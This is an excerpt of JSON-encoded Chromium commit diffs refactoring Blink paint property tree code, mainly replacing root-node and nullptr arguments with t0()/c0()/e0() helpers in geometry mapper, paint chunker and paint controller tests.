auto transform1 =\n+ TransformPaintPropertyNode::Create(t0(), std::move(rotate_transform));\n \n TransformPaintPropertyNode::State inverse_rotate_transform;\n inverse_rotate_transform.matrix.Rotate3d(-45, 0, 0);\n inverse_rotate_transform.flattens_inherited_transform = true;\n auto transform2 = TransformPaintPropertyNode::Create(\n- transform1, std::move(inverse_rotate_transform));\n+ *transform1, std::move(inverse_rotate_transform));\n local_state.SetTransform(transform2.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -254,11 +249,10 @@ TEST_P(GeometryMapperTest, NestedTransformsFlattening) {\n \n TEST_P(GeometryMapperTest, NestedTransformsScaleAndTranslation) {\n auto scale_transform = TransformationMatrix().Scale(2);\n- auto transform1 =\n- CreateTransform(TransformPaintPropertyNode::Root(), scale_transform);\n+ auto transform1 = CreateTransform(t0(), scale_transform);\n \n auto translate_transform = TransformationMatrix().Translate(100, 0);\n- auto transform2 = CreateTransform(transform1, translate_transform);\n+ auto transform2 = CreateTransform(*transform1, translate_transform);\n local_state.SetTransform(transform2.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -273,11 +267,10 @@ TEST_P(GeometryMapperTest, NestedTransformsScaleAndTranslation) {\n \n TEST_P(GeometryMapperTest, NestedTransformsIntermediateDestination) {\n auto rotate_transform = TransformationMatrix().Rotate(45);\n- auto transform1 =\n- CreateTransform(TransformPaintPropertyNode::Root(), rotate_transform);\n+ auto transform1 = CreateTransform(t0(), rotate_transform);\n \n auto scale_transform = TransformationMatrix().Translate(10, 20);\n- auto transform2 = CreateTransform(transform1, scale_transform);\n+ auto transform2 = CreateTransform(*transform1, scale_transform);\n \n local_state.SetTransform(transform2.get());\n ancestor_state.SetTransform(transform1.get());\n@@ -290,9 +283,7 @@ TEST_P(GeometryMapperTest, NestedTransformsIntermediateDestination) {\n }\n \n TEST_P(GeometryMapperTest, SimpleClip) {\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 10, 50, 50));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(10, 10, 50, 50));\n local_state.SetClip(clip.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -304,12 +295,11 @@ TEST_P(GeometryMapperTest, SimpleClip) {\n \n TEST_P(GeometryMapperTest, SimpleClipOverlayScrollbars) {\n ClipPaintPropertyNode::State clip_state;\n- clip_state.local_transform_space = TransformPaintPropertyNode::Root();\n+ clip_state.local_transform_space = &t0();\n clip_state.clip_rect = FloatRoundedRect(10, 10, 50, 50);\n clip_state.clip_rect_excluding_overlay_scrollbars =\n FloatRoundedRect(10, 10, 45, 43);\n- auto clip = ClipPaintPropertyNode::Create(ClipPaintPropertyNode::Root(),\n- std::move(clip_state));\n+ auto clip = ClipPaintPropertyNode::Create(c0(), std::move(clip_state));\n local_state.SetClip(clip.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -344,12 +334,7 @@ TEST_P(GeometryMapperTest, SimpleClipOverlayScrollbars) {\n }\n \n TEST_P(GeometryMapperTest, SimpleClipInclusiveIntersect) {\n- ClipPaintPropertyNode::State clip_state;\n- clip_state.local_transform_space = TransformPaintPropertyNode::Root();\n- clip_state.clip_rect = FloatRoundedRect(10, 10, 50, 50);\n- auto clip = ClipPaintPropertyNode::Create(ClipPaintPropertyNode::Root(),\n- std::move(clip_state));\n-\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(10, 10, 50, 50));\n local_state.SetClip(clip.get());\n \n FloatClipRect actual_clip_rect(FloatRect(60, 10, 10, 10));\n@@ -372,8 +357,7 @@ TEST_P(GeometryMapperTest, RoundedClip) {\n FloatRoundedRect rect(FloatRect(10, 10, 50, 50),\n FloatRoundedRect::Radii(FloatSize(1, 1), FloatSize(),\n FloatSize(), FloatSize()));\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(), rect);\n+ auto clip = CreateClip(c0(), &t0(), rect);\n local_state.SetClip(clip.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -388,9 +372,7 @@ TEST_P(GeometryMapperTest, ClipPath) {\n FloatRoundedRect rect(FloatRect(10, 10, 50, 50),\n FloatRoundedRect::Radii(FloatSize(1, 1), FloatSize(),\n FloatSize(), FloatSize()));\n- auto clip = CreateClipPathClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 10, 50, 50));\n+ auto clip = CreateClipPathClip(c0(), &t0(), FloatRoundedRect(10, 10, 50, 50));\n local_state.SetClip(clip.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -407,11 +389,8 @@ TEST_P(GeometryMapperTest, TwoClips) {\n FloatRoundedRect::Radii(FloatSize(1, 1), FloatSize(), FloatSize(),\n FloatSize()));\n \n- auto clip1 = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(), clip_rect1);\n-\n- auto clip2 = CreateClip(clip1, TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 10, 50, 50));\n+ auto clip1 = CreateClip(c0(), &t0(), clip_rect1);\n+ auto clip2 = CreateClip(*clip1, &t0(), FloatRoundedRect(10, 10, 50, 50));\n local_state.SetClip(clip2.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -428,19 +407,16 @@ TEST_P(GeometryMapperTest, TwoClips) {\n }\n \n TEST_P(GeometryMapperTest, TwoClipsTransformAbove) {\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix());\n+ auto transform = CreateTransform(t0(), TransformationMatrix());\n \n FloatRoundedRect clip_rect1(\n FloatRect(10, 10, 50, 50),\n FloatRoundedRect::Radii(FloatSize(1, 1), FloatSize(), FloatSize(),\n FloatSize()));\n \n- auto clip1 =\n- CreateClip(ClipPaintPropertyNode::Root(), transform.get(), clip_rect1);\n-\n+ auto clip1 = CreateClip(c0(), transform.get(), clip_rect1);\n auto clip2 =\n- CreateClip(clip1, transform.get(), FloatRoundedRect(10, 10, 30, 40));\n+ CreateClip(*clip1, transform.get(), FloatRoundedRect(10, 10, 30, 40));\n local_state.SetClip(clip2.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -459,10 +435,9 @@ TEST_P(GeometryMapperTest, TwoClipsTransformAbove) {\n \n TEST_P(GeometryMapperTest, ClipBeforeTransform) {\n expected_transform = TransformationMatrix().Rotate(45);\n- auto transform =\n- CreateTransform(TransformPaintPropertyNode::Root(), expected_transform);\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(), transform.get(),\n- FloatRoundedRect(10, 10, 50, 50));\n+ auto transform = CreateTransform(t0(), expected_transform);\n+ auto clip =\n+ CreateClip(c0(), transform.get(), FloatRoundedRect(10, 10, 50, 50));\n local_state.SetClip(clip.get());\n local_state.SetTransform(transform.get());\n \n@@ -480,11 +455,8 @@ TEST_P(GeometryMapperTest, ClipBeforeTransform) {\n \n TEST_P(GeometryMapperTest, ClipAfterTransform) {\n expected_transform = TransformationMatrix().Rotate(45);\n- auto transform =\n- CreateTransform(TransformPaintPropertyNode::Root(), expected_transform);\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 10, 200, 200));\n+ auto transform = CreateTransform(t0(), expected_transform);\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(10, 10, 200, 200));\n local_state.SetClip(clip.get());\n local_state.SetTransform(transform.get());\n \n@@ -500,16 +472,11 @@ TEST_P(GeometryMapperTest, ClipAfterTransform) {\n }\n \n TEST_P(GeometryMapperTest, TwoClipsWithTransformBetween) {\n- auto clip1 = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 10, 200, 200));\n-\n+ auto clip1 = CreateClip(c0(), &t0(), FloatRoundedRect(10, 10, 200, 200));\n expected_transform = TransformationMatrix().Rotate(45);\n- auto transform =\n- CreateTransform(TransformPaintPropertyNode::Root(), expected_transform);\n-\n+ auto transform = CreateTransform(t0(), expected_transform);\n auto clip2 =\n- CreateClip(clip1, transform.get(), FloatRoundedRect(10, 10, 200, 200));\n+ CreateClip(*clip1, transform.get(), FloatRoundedRect(10, 10, 200, 200));\n \n input_rect = FloatRect(0, 0, 100, 100);\n expected_transformed_rect = expected_transform.MapRect(input_rect);\n@@ -553,12 +520,10 @@ TEST_P(GeometryMapperTest, SiblingTransforms) {\n // These transforms are siblings. Thus mapping from one to the other requires\n // going through the root.\n auto rotate_transform1 = TransformationMatrix().Rotate(45);\n- auto transform1 =\n- CreateTransform(TransformPaintPropertyNode::Root(), rotate_transform1);\n+ auto transform1 = CreateTransform(t0(), rotate_transform1);\n \n auto rotate_transform2 = TransformationMatrix().Rotate(-45);\n- auto transform2 =\n- CreateTransform(TransformPaintPropertyNode::Root(), rotate_transform2);\n+ auto transform2 = CreateTransform(t0(), rotate_transform2);\n \n auto transform1_state = PropertyTreeState::Root();\n transform1_state.SetTransform(transform1.get());\n@@ -597,15 +562,13 @@ TEST_P(GeometryMapperTest, SiblingTransformsWithClip) {\n // These transforms are siblings. Thus mapping from one to the other requires\n // going through the root.\n auto rotate_transform1 = TransformationMatrix().Rotate(45);\n- auto transform1 =\n- CreateTransform(TransformPaintPropertyNode::Root(), rotate_transform1);\n+ auto transform1 = CreateTransform(t0(), rotate_transform1);\n \n auto rotate_transform2 = TransformationMatrix().Rotate(-45);\n- auto transform2 =\n- CreateTransform(TransformPaintPropertyNode::Root(), rotate_transform2);\n+ auto transform2 = CreateTransform(t0(), rotate_transform2);\n \n- auto clip = CreateClip(ClipPaintPropertyNode::Root(), transform2.get(),\n- FloatRoundedRect(10, 20, 30, 40));\n+ auto clip =\n+ CreateClip(c0(), transform2.get(), FloatRoundedRect(10, 20, 30, 40));\n \n auto transform1_state = PropertyTreeState::Root();\n transform1_state.SetTransform(transform1.get());\n@@ -642,24 +605,22 @@ TEST_P(GeometryMapperTest, SiblingTransformsWithClip) {\n \n TEST_P(GeometryMapperTest, FilterWithClipsAndTransforms) {\n auto transform_above_effect =\n- CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(40, 50));\n+ CreateTransform(t0(), TransformationMatrix().Translate(40, 50));\n auto transform_below_effect = CreateTransform(\n- transform_above_effect, TransformationMatrix().Translate(20, 30));\n+ *transform_above_effect, TransformationMatrix().Translate(20, 30));\n \n // This clip is between transformAboveEffect and the effect.\n- auto clip_above_effect =\n- CreateClip(ClipPaintPropertyNode::Root(), transform_above_effect,\n- FloatRoundedRect(-100, -100, 200, 200));\n+ auto clip_above_effect = CreateClip(c0(), transform_above_effect.get(),\n+ FloatRoundedRect(-100, -100, 200, 200));\n // This clip is between the effect and transformBelowEffect.\n- auto clip_below_effect = CreateClip(clip_above_effect, transform_above_effect,\n- FloatRoundedRect(10, 10, 100, 100));\n+ auto clip_below_effect =\n+ CreateClip(*clip_above_effect, transform_above_effect.get(),\n+ FloatRoundedRect(10, 10, 100, 100));\n \n CompositorFilterOperations filters;\n filters.AppendBlurFilter(20);\n- auto effect =\n- CreateFilterEffect(EffectPaintPropertyNode::Root(),\n- transform_above_effect, clip_above_effect, filters);\n+ auto effect = CreateFilterEffect(e0(), transform_above_effect.get(),\n+ clip_above_effect.get(), filters);\n \n local_state = PropertyTreeState(transform_below_effect.get(),\n clip_below_effect.get(), effect.get());\n@@ -694,8 +655,7 @@ TEST_P(GeometryMapperTest, ReflectionWithPaintOffset) {\n CompositorFilterOperations filters;\n filters.AppendReferenceFilter(PaintFilterBuilder::BuildBoxReflectFilter(\n BoxReflection(BoxReflection::kHorizontalReflection, 0), nullptr));\n- auto effect = CreateFilterEffect(EffectPaintPropertyNode::Root(), filters,\n- FloatPoint(100, 100));\n+ auto effect = CreateFilterEffect(e0(), filters, FloatPoint(100, 100));\n local_state.SetEffect(effect.get());\n \n input_rect = FloatRect(100, 100, 50, 50);\n@@ -712,12 +672,8 @@ TEST_P(GeometryMapperTest, InvertedClip) {\n if (RuntimeEnabledFeatures::SlimmingPaintV2Enabled())\n return;\n \n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 10, 50, 50));\n-\n- PropertyTreeState dest(TransformPaintPropertyNode::Root(), clip.get(),\n- EffectPaintPropertyNode::Root());\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(10, 10, 50, 50));\n+ PropertyTreeState dest(&t0(), clip.get(), &e0());\n \n FloatClipRect visual_rect(FloatRect(0, 0, 10, 200));\n GeometryMapper::LocalToAncestorVisualRect(PropertyTreeState::Root(), dest,\n@@ -731,16 +687,10 @@ TEST_P(GeometryMapperTest, InvertedClip) {\n }\n \n TEST_P(GeometryMapperTest, PointVisibleInAncestorSpaceSimpleClip) {\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 10, 50, 50));\n-\n- PropertyTreeState local_state(TransformPaintPropertyNode::Root(), clip.get(),\n- EffectPaintPropertyNode::Root());\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(10, 10, 50, 50));\n \n- PropertyTreeState ancestor_state(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ PropertyTreeState local_state(&t0(), clip.get(), &e0());\n+ PropertyTreeState ancestor_state = PropertyTreeState::Root();\n \n EXPECT_TRUE(GeometryMapper::PointVisibleInAncestorSpace(\n local_state, ancestor_state, FloatPoint(30, 30)));\n@@ -757,15 +707,10 @@ TEST_P(GeometryMapperTest, PointVisibleInAncestorSpaceRoundedClip) {\n FloatRoundedRect::Radii radii;\n radii.SetTopLeft(FloatSize(8, 8));\n clip_rect.SetRadii(radii);\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(), clip_rect);\n-\n- PropertyTreeState local_state(TransformPaintPropertyNode::Root(), clip.get(),\n- EffectPaintPropertyNode::Root());\n+ auto clip = CreateClip(c0(), &t0(), clip_rect);\n \n- PropertyTreeState ancestor_state(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ PropertyTreeState local_state(&t0(), clip.get(), &e0());\n+ PropertyTreeState ancestor_state = PropertyTreeState::Root();\n \n EXPECT_TRUE(GeometryMapper::PointVisibleInAncestorSpace(\n local_state, ancestor_state, FloatPoint(30, 30)));\n@@ -787,18 +732,13 @@ TEST_P(GeometryMapperTest, PointVisibleInAncestorSpaceClipPath) {\n path->AddLineTo(FloatPoint(10, 10));\n \n ClipPaintPropertyNode::State state;\n- state.local_transform_space = TransformPaintPropertyNode::Root();\n+ state.local_transform_space = &t0();\n state.clip_rect = FloatRoundedRect(FloatRect(0, 0, 500, 500));\n state.clip_path = base::AdoptRef(path);\n- auto clip = ClipPaintPropertyNode::Create(ClipPaintPropertyNode::Root(),\n- std::move(state));\n-\n- PropertyTreeState local_state(TransformPaintPropertyNode::Root(), clip.get(),\n- EffectPaintPropertyNode::Root());\n+ auto clip = ClipPaintPropertyNode::Create(c0(), std::move(state));\n \n- PropertyTreeState ancestor_state(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ PropertyTreeState local_state(&t0(), clip.get(), &e0());\n+ PropertyTreeState ancestor_state = PropertyTreeState::Root();\n \n EXPECT_TRUE(GeometryMapper::PointVisibleInAncestorSpace(\n local_state, ancestor_state, FloatPoint(30, 30)));\n@@ -811,21 +751,13 @@ TEST_P(GeometryMapperTest, PointVisibleInAncestorSpaceClipPath) {\n }\n \n TEST_P(GeometryMapperTest, PointVisibleInAncestorSpaceSimpleClipWithTransform) {\n- TransformPaintPropertyNode::State translate_transform;\n- translate_transform.matrix.Translate(10, 10);\n- auto transform = TransformPaintPropertyNode::Create(\n- TransformPaintPropertyNode::Root(), std::move(translate_transform));\n-\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(FloatRect(20, 20, 50, 50)));\n-\n- PropertyTreeState local_state(transform.get(), clip.get(),\n- EffectPaintPropertyNode::Root());\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(10, 10));\n+ auto clip =\n+ CreateClip(c0(), &t0(), FloatRoundedRect(FloatRect(20, 20, 50, 50)));\n \n- PropertyTreeState ancestor_state(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ PropertyTreeState local_state(transform.get(), clip.get(), &e0());\n+ PropertyTreeState ancestor_state = PropertyTreeState::Root();\n \n EXPECT_TRUE(GeometryMapper::PointVisibleInAncestorSpace(\n local_state, ancestor_state, FloatPoint(30, 30)));\n@@ -838,10 +770,8 @@ TEST_P(GeometryMapperTest, PointVisibleInAncestorSpaceSimpleClipWithTransform) {\n }\n \n TEST_P(GeometryMapperTest, PointVisibleInAncestorSpaceClipPathWithTransform) {\n- TransformPaintPropertyNode::State translate_transform;\n- translate_transform.matrix.Translate(10, 10);\n- auto transform = TransformPaintPropertyNode::Create(\n- TransformPaintPropertyNode::Root(), std::move(translate_transform));\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(10, 10));\n \n RefCountedPath* path = new RefCountedPath;\n path->MoveTo(FloatPoint(20, 20));\n@@ -851,18 +781,13 @@ TEST_P(GeometryMapperTest, PointVisibleInAncestorSpaceClipPathWithTransform) {\n path->AddLineTo(FloatPoint(20, 20));\n \n ClipPaintPropertyNode::State state;\n- state.local_transform_space = TransformPaintPropertyNode::Root();\n+ state.local_transform_space = &t0();\n state.clip_rect = FloatRoundedRect(FloatRect(0, 0, 500, 500));\n state.clip_path = base::AdoptRef(path);\n- auto clip = ClipPaintPropertyNode::Create(ClipPaintPropertyNode::Root(),\n- std::move(state));\n+ auto clip = ClipPaintPropertyNode::Create(c0(), std::move(state));\n \n- PropertyTreeState local_state(transform.get(), clip.get(),\n- EffectPaintPropertyNode::Root());\n-\n- PropertyTreeState ancestor_state(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ PropertyTreeState local_state(transform.get(), clip.get(), &e0());\n+ PropertyTreeState ancestor_state = PropertyTreeState::Root();\n \n EXPECT_TRUE(GeometryMapper::PointVisibleInAncestorSpace(\n local_state, ancestor_state, FloatPoint(30, 30)));"}<_**next**_>{"sha": "c0a28b6068e6cd7a9e65b99d85af56bfb78c597f", "filename": "third_party/blink/renderer/platform/graphics/paint/paint_chunk.h", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_chunk.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_chunk.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/paint_chunk.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -10,8 +10,8 @@\n #include \"third_party/blink/renderer/platform/geometry/float_rect.h\"\n #include \"third_party/blink/renderer/platform/graphics/paint/display_item.h\"\n #include \"third_party/blink/renderer/platform/graphics/paint/hit_test_data.h\"\n+#include \"third_party/blink/renderer/platform/graphics/paint/property_tree_state.h\"\n #include \"third_party/blink/renderer/platform/graphics/paint/raster_invalidation_tracking.h\"\n-#include \"third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.h\"\n #include \"third_party/blink/renderer/platform/platform_export.h\"\n #include \"third_party/blink/renderer/platform/wtf/allocator.h\"\n #include \"third_party/blink/renderer/platform/wtf/forward.h\"\n@@ -100,7 +100,7 @@ struct PLATFORM_EXPORT PaintChunk {\n Id id;\n \n // The paint properties which apply to this chunk.\n- RefCountedPropertyTreeState properties;\n+ PropertyTreeState properties;\n \n // The total bounds of this paint chunk's contents, in the coordinate space of\n // the containing transform node."}<_**next**_>{"sha": "104fccdf4fac01c2300b2289296ff48d4b189183", "filename": "third_party/blink/renderer/platform/graphics/paint/paint_chunker_test.cc", "status": "modified", "additions": 10, "deletions": 12, "changes": 22, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_chunker_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_chunker_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/paint_chunker_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -100,7 +100,7 @@ TEST_F(PaintChunkerTest, BuildMultipleChunksWithSinglePropertyChanging) {\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n \n auto simple_transform_node = CreateTransform(\n- nullptr, TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n+ t0(), TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n auto simple_transform = DefaultPaintChunkProperties();\n simple_transform.SetTransform(simple_transform_node.get());\n \n@@ -109,7 +109,7 @@ TEST_F(PaintChunkerTest, BuildMultipleChunksWithSinglePropertyChanging) {\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n \n auto another_transform_node = CreateTransform(\n- nullptr, TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n+ t0(), TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n auto another_transform = DefaultPaintChunkProperties();\n another_transform.SetTransform(another_transform_node.get());\n PaintChunk::Id id3(client_, DisplayItemType(3));\n@@ -130,16 +130,15 @@ TEST_F(PaintChunkerTest, BuildMultipleChunksWithDifferentPropertyChanges) {\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n \n auto simple_transform_node = CreateTransform(\n- nullptr, TransformationMatrix(0, 0, 0, 0, 0, 0), FloatPoint3D(9, 8, 7));\n+ t0(), TransformationMatrix(0, 0, 0, 0, 0, 0), FloatPoint3D(9, 8, 7));\n auto simple_transform = DefaultPaintChunkProperties();\n simple_transform.SetTransform(simple_transform_node.get());\n PaintChunk::Id id2(client_, DisplayItemType(2));\n chunker.UpdateCurrentPaintChunkProperties(id2, simple_transform);\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n \n- auto simple_effect_node =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5f);\n+ auto simple_effect_node = CreateOpacityEffect(e0(), 0.5f);\n auto simple_transform_and_effect = DefaultPaintChunkProperties();\n simple_transform_and_effect.SetTransform(simple_transform_node.get());\n simple_transform_and_effect.SetEffect(simple_effect_node.get());\n@@ -149,11 +148,10 @@ TEST_F(PaintChunkerTest, BuildMultipleChunksWithDifferentPropertyChanges) {\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n \n auto new_transform_node = CreateTransform(\n- nullptr, TransformationMatrix(1, 1, 0, 0, 0, 0), FloatPoint3D(9, 8, 7));\n+ t0(), TransformationMatrix(1, 1, 0, 0, 0, 0), FloatPoint3D(9, 8, 7));\n auto simple_transform_and_effect_with_updated_transform =\n DefaultPaintChunkProperties();\n- auto new_effect_node =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5f);\n+ auto new_effect_node = CreateOpacityEffect(e0(), 0.5f);\n simple_transform_and_effect_with_updated_transform.SetTransform(\n new_transform_node.get());\n simple_transform_and_effect_with_updated_transform.SetEffect(\n@@ -200,7 +198,7 @@ TEST_F(PaintChunkerTest, BuildChunksFromNestedTransforms) {\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n \n auto simple_transform_node = CreateTransform(\n- nullptr, TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n+ t0(), TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n auto simple_transform = DefaultPaintChunkProperties();\n simple_transform.SetTransform(simple_transform_node.get());\n PaintChunk::Id id2(client_, DisplayItemType(2));\n@@ -229,14 +227,14 @@ TEST_F(PaintChunkerTest, ChangingPropertiesWithoutItems) {\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n \n auto first_transform_node = CreateTransform(\n- nullptr, TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n+ t0(), TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n auto first_transform = DefaultPaintChunkProperties();\n first_transform.SetTransform(first_transform_node.get());\n PaintChunk::Id id2(client_, DisplayItemType(2));\n chunker.UpdateCurrentPaintChunkProperties(base::nullopt, first_transform);\n \n auto second_transform_node = CreateTransform(\n- nullptr, TransformationMatrix(9, 8, 7, 6, 5, 4), FloatPoint3D(3, 2, 1));\n+ t0(), TransformationMatrix(9, 8, 7, 6, 5, 4), FloatPoint3D(3, 2, 1));\n auto second_transform = DefaultPaintChunkProperties();\n second_transform.SetTransform(second_transform_node.get());\n PaintChunk::Id id3(client_, DisplayItemType(3));\n@@ -407,7 +405,7 @@ TEST_F(PaintChunkerTest, ChunkIdsSkippingCache) {\n chunker.IncrementDisplayItemIndex(TestChunkerDisplayItem(client_));\n \n auto simple_transform_node = CreateTransform(\n- nullptr, TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n+ t0(), TransformationMatrix(0, 1, 2, 3, 4, 5), FloatPoint3D(9, 8, 7));\n auto simple_transform = DefaultPaintChunkProperties();\n simple_transform.SetTransform(simple_transform_node.get());\n PaintChunk::Id id2(client_, DisplayItemType(2));"}<_**next**_>{"sha": "bcfa96f990a4bd927471c95b488c7371ed3dcadb", "filename": "third_party/blink/renderer/platform/graphics/paint/paint_controller.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_controller.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_controller.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/paint_controller.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -517,7 +517,7 @@ void PaintController::CopyCachedSubsequence(size_t begin_index,\n properties_before_subsequence =\n new_paint_chunks_.CurrentPaintChunkProperties();\n UpdateCurrentPaintChunkPropertiesUsingIdWithFragment(\n- cached_chunk->id, cached_chunk->properties.GetPropertyTreeState());\n+ cached_chunk->id, cached_chunk->properties);\n } else {\n // Avoid uninitialized variable error on Windows.\n cached_chunk = current_paint_artifact_.PaintChunks().begin();\n@@ -537,7 +537,7 @@ void PaintController::CopyCachedSubsequence(size_t begin_index,\n DCHECK(cached_chunk != current_paint_artifact_.PaintChunks().end());\n new_paint_chunks_.ForceNewChunk();\n UpdateCurrentPaintChunkPropertiesUsingIdWithFragment(\n- cached_chunk->id, cached_chunk->properties.GetPropertyTreeState());\n+ cached_chunk->id, cached_chunk->properties);\n }\n \n #if DCHECK_IS_ON()"}<_**next**_>{"sha": "bb1ce228f2086a5647665cb935208d47618f84a5", "filename": "third_party/blink/renderer/platform/graphics/paint/paint_controller_test.cc", "status": "modified", "additions": 10, "deletions": 18, "changes": 28, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_controller_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_controller_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/paint_controller_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -482,7 +482,7 @@ TEST_P(PaintControllerTest, UpdateClip) {\n FakeDisplayItemClient second(\"second\", LayoutRect(100, 100, 200, 200));\n GraphicsContext context(GetPaintController());\n \n- auto clip = CreateClip(nullptr, nullptr, FloatRoundedRect(1, 1, 2, 2));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(1, 1, 2, 2));\n auto properties = DefaultPaintChunkProperties();\n properties.SetClip(clip.get());\n GetPaintController().UpdateCurrentPaintChunkProperties(\n@@ -522,7 +522,7 @@ TEST_P(PaintControllerTest, UpdateClip) {\n second.SetDisplayItemsUncached();\n DrawRect(context, first, kBackgroundType, FloatRect(100, 100, 150, 150));\n \n- auto clip2 = CreateClip(nullptr, nullptr, FloatRoundedRect(1, 1, 2, 2));\n+ auto clip2 = CreateClip(c0(), &t0(), FloatRoundedRect(1, 1, 2, 2));\n auto properties2 = DefaultPaintChunkProperties();\n properties2.SetClip(clip2.get());\n GetPaintController().UpdateCurrentPaintChunkProperties(\n@@ -798,13 +798,11 @@ TEST_P(PaintControllerTest, CachedSubsequenceSwapOrder) {\n FakeDisplayItemClient content2(\"content2\", LayoutRect(100, 200, 50, 200));\n GraphicsContext context(GetPaintController());\n \n- 